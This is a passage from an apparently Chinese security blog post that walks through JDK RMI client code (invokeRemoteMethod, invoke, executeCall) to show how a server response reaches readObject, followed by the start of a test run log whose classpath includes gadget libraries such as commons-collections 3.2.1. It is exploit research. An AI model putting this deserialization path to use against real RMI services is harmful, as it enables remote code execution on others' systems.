proxy&quot;</span>);</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> (Proxy.getInvocationHandler(proxy) != <span class="built_in">this</span>) &#123;</span><br><span class="line">            <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">IllegalArgumentException</span>(<span class="string">&quot;handler mismatch&quot;</span>);</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> (method.getDeclaringClass() == Object.class) &#123;</span><br><span class="line">            <span class="keyword">return</span> invokeObjectMethod(proxy, method, args);</span><br><span class="line">        &#125; <span class="keyword">else</span> <span class="keyword">if</span> (<span class="string">&quot;finalize&quot;</span>.equals(method.getName()) &amp;&amp; method.getParameterCount() == <span class="number">0</span> &amp;&amp;</span><br><span class="line">            !allowFinalizeInvocation) &#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">null</span>; <span class="comment">// ignore</span></span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">            <span class="keyword">return</span> invokeRemoteMethod(proxy, method, args);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"><span class="comment">//触发</span></span><br><span class="line"> <span class="keyword">private</span> Object <span class="title function_">invokeRemoteMethod</span><span class="params">(Object proxy,</span></span><br><span class="line"><span class="params">                                      Method method,</span></span><br><span class="line"><span class="params">                                      Object[] args)</span></span><br><span class="line">        <span class="keyword">throws</span> Exception</span><br><span class="line">    &#123;</span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            <span class="keyword">if</span> (!(proxy <span class="keyword">instanceof</span> Remote)) &#123;</span><br><span class="line">                <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">IllegalArgumentException</span>(</span><br><span class="line">                    <span class="string">&quot;proxy not Remote instance&quot;</span>);</span><br><span class="line">            &#125;</span><br><span class="line"></span><br><span class="line">            <span class="comment">// Verify that the method is declared on an interface that extends Remote</span></span><br><span class="line">            Class&lt;?&gt; decl = method.getDeclaringClass();</span><br><span class="line">            <span class="keyword">if</span> (!Remote.class.isAssignableFrom(decl)) &#123;</span><br><span class="line">                <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">RemoteException</span>(<span class="string">&quot;Method is not Remote: &quot;</span> + decl + <span class="string">&quot;::&quot;</span> + method);</span><br><span class="line">            &#125;</span><br><span class="line"></span><br><span class="line">            <span class="keyword">return</span> ref.invoke((Remote) proxy, method, args,</span><br><span class="line">                              getMethodHash(method));</span><br><span class="line">        &#125; <span class="keyword">catch</span> (Exception e) &#123;</span><br><span class="line">            <span class="keyword">if</span> (!(e <span class="keyword">instanceof</span> RuntimeException)) &#123;</span><br><span class="line">                Class&lt;?&gt; cl = proxy.getClass();</span><br><span class="line">                <span class="keyword">try</span> &#123;</span><br><span class="line">                    method = cl.getMethod(method.getName(),</span><br><span class="line">                                          method.getParameterTypes());</span><br><span class="line">                &#125; <span class="keyword">catch</span> (NoSuchMethodException nsme) &#123;</span><br><span class="line">                    <span class="keyword">throw</span> (IllegalArgumentException)</span><br><span class="line">                        <span class="keyword">new</span> <span class="title class_">IllegalArgumentException</span>().initCause(nsme);</span><br><span class="line">                &#125;</span><br><span class="line">                Class&lt;?&gt; thrownType = e.getClass();</span><br><span class="line">                <span class="keyword">for</span> (Class&lt;?&gt; declaredType : method.getExceptionTypes()) &#123;</span><br><span class="line">                    <span class="keyword">if</span> (declaredType.isAssignableFrom(thrownType)) &#123;</span><br><span class="line">                        <span class="keyword">throw</span> e;</span><br><span class="line">                    &#125;</span><br><span class="line">                &#125;</span><br><span class="line">                e = <span class="keyword">new</span> <span class="title class_">UnexpectedException</span>(<span class="string">&quot;unexpected exception&quot;</span>, e);</span><br><span class="line">            &#125;</span><br><span class="line">            <span class="keyword">throw</span> e;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"><span class="comment">//触发</span></span><br><span class="line"> <span class="keyword">public</span> Object <span class="title function_">invoke</span><span class="params">(Remote var1, Method var2, Object[] var3, <span class="type">long</span> var4)</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">        <span class="keyword">if</span> (clientRefLog.isLoggable(Log.VERBOSE)) &#123;</span><br><span class="line">            clientRefLog.log(Log.VERBOSE, <span class="string">&quot;method: &quot;</span> + var2);</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> (clientCallLog.isLoggable(Log.VERBOSE)) &#123;</span><br><span class="line">            <span class="built_in">this</span>.logClientCall(var1, var2);</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="type">Connection</span> <span class="variable">var6</span> <span class="operator">=</span> <span class="built_in">this</span>.ref.getChannel().newConnection();</span><br><span class="line">        <span class="type">Object</span> <span class="variable">var7</span> <span class="operator">=</span> <span class="literal">null</span>;</span><br><span class="line">        <span class="type">boolean</span> <span class="variable">var8</span> <span class="operator">=</span> <span class="literal">true</span>;</span><br><span class="line">        <span class="type">boolean</span> <span class="variable">var9</span> <span class="operator">=</span> <span class="literal">false</span>;</span><br><span class="line"></span><br><span class="line">        Object var11;</span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            <span class="keyword">if</span> (clientRefLog.isLoggable(Log.VERBOSE)) &#123;</span><br><span class="line">                clientRefLog.log(Log.VERBOSE, <span class="string">&quot;opnum = &quot;</span> + var4);</span><br><span class="line">            &#125;</span><br><span class="line"></span><br><span class="line">            <span class="type">StreamRemoteCall</span> <span class="variable">var46</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">StreamRemoteCall</span>(var6, <span class="built_in">this</span>.ref.getObjID(), -<span class="number">1</span>, var4);</span><br><span class="line"></span><br><span class="line">            <span class="keyword">try</span> &#123;</span><br><span class="line">                <span class="type">ObjectOutput</span> <span class="variable">var10</span> <span class="operator">=</span> var46.getOutputStream();</span><br><span class="line">                <span class="built_in">this</span>.marshalCustomCallData(var10);</span><br><span class="line">                var11 = var2.getParameterTypes();</span><br><span class="line"></span><br><span class="line">                <span class="keyword">for</span>(<span class="type">int</span> <span class="variable">var12</span> <span class="operator">=</span> <span class="number">0</span>; var12 &lt; ((Object[])var11).length; ++var12) &#123;</span><br><span class="line">                    marshalValue((Class)((Object[])var11)[var12], var3[var12], var10);</span><br><span class="line">                &#125;</span><br><span class="line">            &#125; <span class="keyword">catch</span> (IOException var39) &#123;</span><br><span class="line">                clientRefLog.log(Log.BRIEF, <span class="string">&quot;IOException marshalling arguments: &quot;</span>, var39);</span><br><span class="line">                <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">MarshalException</span>(<span class="string">&quot;error marshalling arguments&quot;</span>, var39);</span><br><span class="line">            &#125;</span><br><span class="line"></span><br><span class="line">            var46.executeCall();</span><br><span class="line">.......</span><br><span class="line">   &#125;</span><br></pre></td></tr></table></figure><p>触发executeCall，后触发了readObject</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">executeCall</span><span class="params">()</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">      <span class="type">DGCAckHandler</span> <span class="variable">var2</span> <span class="operator">=</span> <span class="literal">null</span>;</span><br><span class="line"></span><br><span class="line">      <span class="type">byte</span> var1;</span><br><span class="line">      <span class="keyword">try</span> &#123;</span><br><span class="line">          <span class="keyword">if</span> (<span class="built_in">this</span>.out != <span class="literal">null</span>) &#123;</span><br><span class="line">              var2 = <span class="built_in">this</span>.out.getDGCAckHandler();</span><br><span class="line">          &#125;</span><br><span class="line"></span><br><span class="line">          <span class="built_in">this</span>.releaseOutputStream();</span><br><span class="line">          <span class="type">DataInputStream</span> <span class="variable">var3</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">DataInputStream</span>(<span class="built_in">this</span>.conn.getInputStream());</span><br><span class="line">          <span class="type">byte</span> <span class="variable">var4</span> <span class="operator">=</span> var3.readByte();</span><br><span class="line">          <span class="keyword">if</span> (var4 != <span class="number">81</span>) &#123;</span><br><span class="line">              <span class="keyword">if</span> (Transport.transportLog.isLoggable(Log.BRIEF)) &#123;</span><br><span class="line">                  Transport.transportLog.log(Log.BRIEF, <span class="string">&quot;transport return code invalid: &quot;</span> + var4);</span><br><span class="line">              &#125;</span><br><span class="line"></span><br><span class="line">              <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">UnmarshalException</span>(<span class="string">&quot;Transport return code invalid&quot;</span>);</span><br><span class="line">          &#125;</span><br><span class="line"></span><br><span class="line">          <span class="built_in">this</span>.getInputStream();</span><br><span class="line">          var1 = <span class="built_in">this</span>.in.readByte();</span><br><span class="line">          <span class="built_in">this</span>.in.readID();</span><br><span class="line">      &#125; <span class="keyword">catch</span> (UnmarshalException var11) &#123;</span><br><span class="line">          <span class="keyword">throw</span> var11;</span><br><span class="line">      &#125; <span class="keyword">catch</span> (IOException var12) &#123;</span><br><span class="line">          <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">UnmarshalException</span>(<span class="string">&quot;Error unmarshaling return header&quot;</span>, var12);</span><br><span class="line">      &#125; <span class="keyword">finally</span> &#123;</span><br><span class="line">          <span class="keyword">if</span> (var2 != <span class="literal">null</span>) &#123;</span><br><span class="line">              var2.release();</span><br><span class="line">          &#125;</span><br><span class="line"></span><br><span class="line">      &#125;</span><br><span class="line"></span><br><span class="line">      <span class="keyword">switch</span> (var1) &#123;</span><br><span class="line">          <span class="keyword">case</span> <span class="number">1</span>:</span><br><span class="line">              <span class="keyword">return</span>;</span><br><span class="line">          <span class="keyword">case</span> <span class="number">2</span>:</span><br><span class="line">              Object var14;</span><br><span class="line">              <span class="keyword">try</span> &#123;</span><br><span class="line">                  var14 = <span class="built_in">this</span>.in.readObject();</span><br></pre></td></tr></table></figure><h2 id="进行测试"><a href="#进行测试" class="headerlink" title="进行测试"></a>进行测试</h2><p>触发日志</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br></pre></td><td class="code"><pre><span class="line">D:\Code\environment\jdk\jdk1<span class="number">.8</span><span class="number">.0_441</span>\bin\java.exe <span class="string">&quot;-javaagent:D:\Code\CodeEditor\IntelliJ IDEA 2025.2.2\lib\idea_rt.jar=63980&quot;</span> -Dfile.encoding=UTF-<span class="number">8</span> -classpath D:\Code\environment\jdk\jdk1<span class="number">.8</span><span class="number">.0_441</span>\jre\lib\charsets.jar;D:\Code\environment\jdk\jdk1<span class="number">.8</span><span class="number">.0_441</span>\jre\lib\deploy.jar;D:\Code\environment\jdk\jdk1<span class="number">.8</span><span class="number">.0_441</span>\jre\lib\ext\access-bridge-<span class="number">64.</span>jar;D:\Code\environment\jdk\jdk1<span class="number">.8</span><span class="number">.0_441</span>\jre\lib\ext\cldrdata.jar;D:\Code\environment\jdk\jdk1<span class="number">.8</span><span class="number">.0_441</span>\jre\lib\ext\dnsns.jar;D:\Code\environment\jdk\jdk1<span class="number">.8</span><span class="number">.0_441</span>\jre\lib\ext\jaccess.jar;D:\Code\environment\jdk\jdk1<span class="number">.8</span><span class="number">.0_441</span>\jre\lib\ext\jfxrt.jar;D:\Code\environment\jdk\jdk1<span class="number">.8</span><span class="number">.0_441</span>\jre\lib\ext\localedata.jar;D:\Code\environment\jdk\jdk1<span class="number">.8</span><span class="number">.0_441</span>\jre\lib\ext\nashorn.jar;D:\Code\environment\jdk\jdk1<span class="number">.8</span><span class="number">.0_441</span>\jre\lib\ext\sunec.jar;D:\Code\environment\jdk\jdk1<span class="number">.8</span><span class="number">.0_441</span>\jre\lib\ext\sunjce_provider.jar;D:\Code\environment\jdk\jdk1<span class="number">.8</span><span class="number">.0_441</span>\jre\lib\ext\sunmscapi.jar;D:\Code\environment\jdk\jdk1<span class="number">.8</span><span class="number">.0_441</span>\jre\lib\ext\sunpkcs11.jar;D:\Code\environment\jdk\jdk1<span class="number">.8</span><span class="number">.0_441</span>\jre\lib\ext\zipfs.jar;D:\Code\environment\jdk\jdk1<span class="number">.8</span><span class="number">.0_441</span>\jre\lib\javaws.jar;D:\Code\environment\jdk\jdk1<span class="number">.8</span><span class="number">.0_441</span>\jre\lib\jce.jar;D:\Code\environment\jdk\jdk1<span class="number">.8</span><span class="number">.0_441</span>\jre\lib\jfr.jar;D:\Code\environment\jdk\jdk1<span class="number">.8</span><span class="number">.0_441</span>\jre\lib\jfxswt.jar;D:\Code\environment\jdk\jdk1<span class="number">.8</span><span class="number">.0_441</span>\jre\lib\jsse.jar;D:\Code\environment\jdk\jdk1<span class="number">.8</span><span class="number">.0_441</span>\jre\lib\management-agent.jar;D:\Code\environment\jdk\jdk1<span class="number">.8</span><span class="number">.0_441</span>\jre\lib\plugin.jar;D:\Code\environment\jdk\jdk1<span class="number">.8</span><span class="number">.0_441</span>\jre\lib\resources.jar;D:\Code\environment\jdk\jdk1<span class="number">.8</span><span class="number">.0_441</span>\jre\lib\rt.jar;E:\codeAudit\untitled1\target\classes;C:\Users\night\.m2\repository\org\springframework\boot\spring-boot-starter-web\<span class="number">2.2</span><span class="number">.3</span>.RELEASE\spring-boot-starter-web-<span class="number">2.2</span><span class="number">.3</span>.RELEASE.jar;C:\Users\night\.m2\repository\org\springframework\boot\spring-boot-starter\<span class="number">2.2</span><span class="number">.3</span>.RELEASE\spring-boot-starter-<span class="number">2.2</span><span class="number">.3</span>.RELEASE.jar;C:\Users\night\.m2\repository\org\springframework\boot\spring-boot\<span class="number">2.2</span><span class="number">.3</span>.RELEASE\spring-boot-<span class="number">2.2</span><span class="number">.3</span>.RELEASE.jar;C:\Users\night\.m2\repository\org\springframework\boot\spring-boot-autoconfigure\<span class="number">2.2</span><span class="number">.3</span>.RELEASE\spring-boot-autoconfigure-<span class="number">2.2</span><span class="number">.3</span>.RELEASE.jar;C:\Users\night\.m2\repository\org\springframework\boot\spring-boot-starter-logging\<span class="number">2.2</span><span class="number">.3</span>.RELEASE\spring-boot-starter-logging-<span class="number">2.2</span><span class="number">.3</span>.RELEASE.jar;C:\Users\night\.m2\repository\ch\qos\logback\logback-classic\<span class="number">1.2</span><span class="number">.3</span>\logback-classic-<span class="number">1.2</span><span class="number">.3</span>.jar;C:\Users\night\.m2\repository\ch\qos\logback\logback-core\<span class="number">1.2</span><span class="number">.3</span>\logback-core-<span class="number">1.2</span><span class="number">.3</span>.jar;C:\Users\night\.m2\repository\org\slf4j\slf4j-api\<span class="number">1.7</span><span class="number">.25</span>\slf4j-api-<span class="number">1.7</span><span class="number">.25</span>.jar;C:\Users\night\.m2\repository\org\apache\logging\log4j\log4j-to-slf4j\<span class="number">2.12</span><span class="number">.1</span>\log4j-to-slf4j-<span class="number">2.12</span><span class="number">.1</span>.jar;C:\Users\night\.m2\repository\org\apache\logging\log4j\log4j-api\<span class="number">2.12</span><span class="number">.1</span>\log4j-api-<span class="number">2.12</span><span class="number">.1</span>.jar;C:\Users\night\.m2\repository\org\slf4j\jul-to-slf4j\<span class="number">1.7</span><span class="number">.30</span>\jul-to-slf4j-<span class="number">1.7</span><span class="number">.30</span>.jar;C:\Users\night\.m2\repository\jakarta\annotation\jakarta.annotation-api\<span class="number">1.3</span><span class="number">.5</span>\jakarta.annotation-api-<span class="number">1.3</span><span class="number">.5</span>.jar;C:\Users\night\.m2\repository\org\springframework\spring-core\<span class="number">5.2</span><span class="number">.3</span>.RELEASE\spring-core-<span class="number">5.2</span><span class="number">.3</span>.RELEASE.jar;C:\Users\night\.m2\repository\org\springframework\spring-jcl\<span class="number">5.2</span><span class="number">.3</span>.RELEASE\spring-jcl-<span class="number">5.2</span><span class="number">.3</span>.RELEASE.jar;C:\Users\night\.m2\repository\org\yaml\snakeyaml\<span class="number">1.25</span>\snakeyaml-<span class="number">1.25</span>.jar;C:\Users\night\.m2\repository\org\springframework\boot\spring-boot-starter-json\<span class="number">2.2</span><span class="number">.3</span>.RELEASE\spring-boot-starter-json-<span class="number">2.2</span><span class="number">.3</span>.RELEASE.jar;C:\Users\night\.m2\repository\com\fasterxml\jackson\core\jackson-databind\<span class="number">2.10</span><span class="number">.2</span>\jackson-databind-<span class="number">2.10</span><span class="number">.2</span>.jar;C:\Users\night\.m2\repository\com\fasterxml\jackson\core\jackson-annotations\<span class="number">2.10</span><span class="number">.2</span>\jackson-annotations-<span class="number">2.10</span><span class="number">.2</span>.jar;C:\Users\night\.m2\repository\com\fasterxml\jackson\core\jackson-core\<span class="number">2.10</span><span class="number">.2</span>\jackson-core-<span class="number">2.10</span><span class="number">.2</span>.jar;C:\Users\night\.m2\repository\com\fasterxml\jackson\datatype\jackson-datatype-jdk8\<span class="number">2.10</span><span class="number">.2</span>\jackson-datatype-jdk8-<span class="number">2.10</span><span class="number">.2</span>.jar;C:\Users\night\.m2\repository\com\fasterxml\jackson\datatype\jackson-datatype-jsr310\<span class="number">2.10</span><span class="number">.2</span>\jackson-datatype-jsr310-<span class="number">2.10</span><span class="number">.2</span>.jar;C:\Users\night\.m2\repository\com\fasterxml\jackson\<span class="keyword">module</span>\jackson-<span class="keyword">module</span>-parameter-names\<span class="number">2.10</span><span class="number">.2</span>\jackson-<span class="keyword">module</span>-parameter-names-<span class="number">2.10</span><span class="number">.2</span>.jar;C:\Users\night\.m2\repository\org\springframework\boot\spring-boot-starter-tomcat\<span class="number">2.2</span><span class="number">.3</span>.RELEASE\spring-boot-starter-tomcat-<span class="number">2.2</span><span class="number">.3</span>.RELEASE.jar;C:\Users\night\.m2\repository\org\apache\tomcat\embed\tomcat-embed-core\<span class="number">9.0</span><span class="number">.30</span>\tomcat-embed-core-<span class="number">9.0</span><span class="number">.30</span>.jar;C:\Users\night\.m2\repository\org\apache\tomcat\embed\tomcat-embed-el\<span class="number">9.0</span><span class="number">.30</span>\tomcat-embed-el-<span class="number">9.0</span><span class="number">.30</span>.jar;C:\Users\night\.m2\repository\org\apache\tomcat\embed\tomcat-embed-websocket\<span class="number">9.0</span><span class="number">.30</span>\tomcat-embed-websocket-<span class="number">9.0</span><span class="number">.30</span>.jar;C:\Users\night\.m2\repository\org\springframework\boot\spring-boot-starter-validation\<span class="number">2.2</span><span class="number">.3</span>.RELEASE\spring-boot-starter-validation-<span class="number">2.2</span><span class="number">.3</span>.RELEASE.jar;C:\Users\night\.m2\repository\jakarta\validation\jakarta.validation-api\<span class="number">2.0</span><span class="number">.2</span>\jakarta.validation-api-<span class="number">2.0</span><span class="number">.2</span>.jar;C:\Users\night\.m2\repository\org\hibernate\validator\hibernate-validator\<span class="number">6.0</span><span class="number">.18</span>.Final\hibernate-validator-<span class="number">6.0</span><span class="number">.18</span>.Final.jar;C:\Users\night\.m2\repository\org\springframework\spring-web\<span class="number">5.2</span><span class="number">.3</span>.RELEASE\spring-web-<span class="number">5.2</span><span class="number">.3</span>.RELEASE.jar;C:\Users\night\.m2\repository\org\springframework\spring-beans\<span class="number">5.2</span><span class="number">.3</span>.RELEASE\spring-beans-<span class="number">5.2</span><span class="number">.3</span>.RELEASE.jar;C:\Users\night\.m2\repository\org\springframework\spring-webmvc\<span class="number">5.2</span><span class="number">.3</span>.RELEASE\spring-webmvc-<span class="number">5.2</span><span class="number">.3</span>.RELEASE.jar;C:\Users\night\.m2\repository\org\springframework\spring-aop\<span class="number">5.2</span><span class="number">.3</span>.RELEASE\spring-aop-<span class="number">5.2</span><span class="number">.3</span>.RELEASE.jar;C:\Users\night\.m2\repository\org\springframework\spring-context\<span class="number">5.2</span><span class="number">.3</span>.RELEASE\spring-context-<span class="number">5.2</span><span class="number">.3</span>.RELEASE.jar;C:\Users\night\.m2\repository\org\springframework\spring-expression\<span class="number">5.2</span><span class="number">.3</span>.RELEASE\spring-expression-<span class="number">5.2</span><span class="number">.3</span>.RELEASE.jar;C:\Users\night\.m2\repository\org\javassist\javassist\<span class="number">3.28</span><span class="number">.0</span>-GA\javassist-<span class="number">3.28</span><span class="number">.0</span>-GA.jar;C:\Users\night\.m2\repository\commons-collections\commons-collections\<span class="number">3.2</span><span class="number">.1</span>\commons-collections-<span class="number">3.2</span><span class="number">.1</span>.jar;C:\Users\night\.m2\repository\commons-beanutils\commons-beanutils\<span class="number">1.9</span><span class="number">.3</span>\commons-beanutils-<span class="number">1.9</span><span class="number">.3</span>.jar;C:\Users\night\.m2\repository\commons-logging\commons-logging\<span class="number">1.2</span>\commons-logging-<span class="number">1.2</span>.jar;C:\Users\night\.m2\repository\org\hibernate\hibernate-core\<span class="number">5.6</span><span class="number">.15</span>.Final\hibernate-core-<span class="number">5.6</span><span class="number">.15</span>.Final.jar;C:\Users\night\.m2\repository\org\jboss\logging\jboss-logging\<span class="number">3.4</span><span class="number">.3</span>.Final\jboss-logging-<span class="number">3.4</span><span class="number">.3</span>.Final.jar;C:\Users\night\.m2\repository\javax\persistence\javax.persistence-api\<span class="number">2.2</span>\javax.persistence-api-<span class="number">2.2</span>.jar;C:\Users\night\.m2\repository\net\bytebuddy\<span class="type">byte</span>-buddy\<span class="number">1.12</span><span class="number">.18</span>\<span class="type">byte</span>-buddy-<span class="number">1.12</span><span class="number">.18</span>.jar;C:\Users\night\.m2\repository\antlr\antlr\<span class="number">2.7</span><span class="number">.7</span>\antlr-<span class="number">2.7</span><span class="number">.7</span>.jar;C:\Users\night\.m2\repository\org\jboss\spec\javax\transaction\jboss-transaction-api_1.2_spec\<span class="number">1.1</span><span class="number">.1</span>.Final\jboss-transaction-api_1.2_spec-<span class="number">1.1</span><span class="number">.1</span>.Final.jar;C:\Users\night\.m2\repository\org\jboss\jandex\<span class="number">2.4</span><span class="number">.2</span>.Final\jandex-<span class="number">2.4</span><span class="number">.2</span>.Final.jar;C:\Users\night\.m2\repository\com\fasterxml\classmate\<span class="number">1.5</span><span class="number">.1</span>\classmate-<span class="number">1.5</span><span class="number">.1</span>.jar;C:\Users\night\.m2\repository\javax\activation\javax.activation-api\<span class="number">1.2</span><span class="number">.0</span>\javax.activation-api-<span class="number">1.2</span><span class="number">.0</span>.jar;C:\Users\night\.m2\repository\org\hibernate\common\hibernate-commons-annotations\<span class="number">5.1</span><span class="number">.2</span>.Final\hibernate-commons-annotations-<span class="number">5.1</span><span class="number">.2</span>.Final.jar;C:\Users\night\.m2\repository\javax\xml\bind\jaxb-api\<span class="number">2.3</span><span class="number">.1</span>\jaxb-api-<span class="number">2.3</span><span class="number">.1</span>.jar;C:\Users\night\.m2\repository\org\glassfish\jaxb\jaxb-runtime\<span class="number">2.3</span><span class="number">.1</span>\jaxb-runtime-<span class="number">2.3</span><span class="number">.1</span>.jar;C:\Users\night\.m2\repository\org\glassfish\jaxb\txw2\<span class="number">2.3</span><span class="number">.1</span>\txw2-<span class="number">2.3</span><span class="number">.1</span>.jar;C:\Users\night\.m2\repository\com\sun\istack\istack-commons-runtime\<span class="number">3.0</span><span class="number">.7</span>\istack-commons-runtime-<span class="number">3.0</span><span class="number">.7</span>.jar;C:\Users\night\.m2\repository\org\jvnet\staxex\stax-ex\<span class="number">1.8</span>\stax-ex-<span class="number">1.8</span>.jar;C:\Users\night\.m2\repository\com\sun\xml\fastinfoset\FastInfoset\<span class="number">1.2</span><span class="number">.15</span>\FastInfoset-<span class="number">1.2</span><span class="number">.15</span>.jar;C:\Users\night\.m2\repository\com\caucho\hessian\<span class="number">4.0</span><span class="number">.66</span>\hessian-<span class="number">4.0</span><span class="number">.66</span>.jar;C:\Users\night\.m2\repository\rome\rome\<span class="number">1.0</span>\rome-<span class="number">1.0</span>.jar;C:\Users\night\.m2\repository\jdom\jdom\<span class="number">1.0</span>\jdom-<span class="number">1.0</span>.jar org.example.Main</span><br><span class="line"><span class="number">18</span>:<span class="number">16</span>:<span class="number">44.334</span> [main] DEBUG org.jboss.logging - Logging Provider: org.jboss.logging.Log4j2LoggerProvider</span><br><span 